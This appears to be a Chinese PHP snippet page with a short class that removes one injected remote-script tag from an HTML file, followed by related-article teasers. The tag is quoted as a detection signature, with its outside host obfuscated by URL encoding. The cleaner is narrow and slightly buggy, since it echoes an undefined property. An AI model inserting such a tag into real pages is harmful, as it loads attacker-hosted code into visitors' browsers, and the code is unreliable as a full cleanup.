php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php抓取https的内容的代码

直接用file_get_contents,会报错; 复制代码 代码如下: $url = (https://xxx.com"); file_get_contents($url); 错误:...

PHP设计模式 注册表模式

下面是基本的注册表类的代码: 复制代码 代码如下: <?php class Registry { private static $instance; private $reques...

php使用json-schema模块实现json校验示例

本文实例讲述了php使用json-schema模块实现json校验。分享给大家供大家参考,具体如下: 客户端和服务端的http信息传递,采用json几乎成了标配。json格式简单,易于处...

phpExcel中文帮助手册之常用功能指南

PHPExcel基本操作: 定义EXCEL实体 即定义一个PHPEXCEL对象,并设置EXCEL对象内显示内容 // Excel开始 // 准备EXCEL的包括文件 // Error...

thinkphp框架下404页面设置 仅三步

404页面即系统在找不到请求的操作方法和找不到请求的控制器名称时的一种报错行为的优化。 在很多网站中都会有使用404页面的时候,在ThinkPHP框架中该如何设置呢,接下来我介绍其中一种...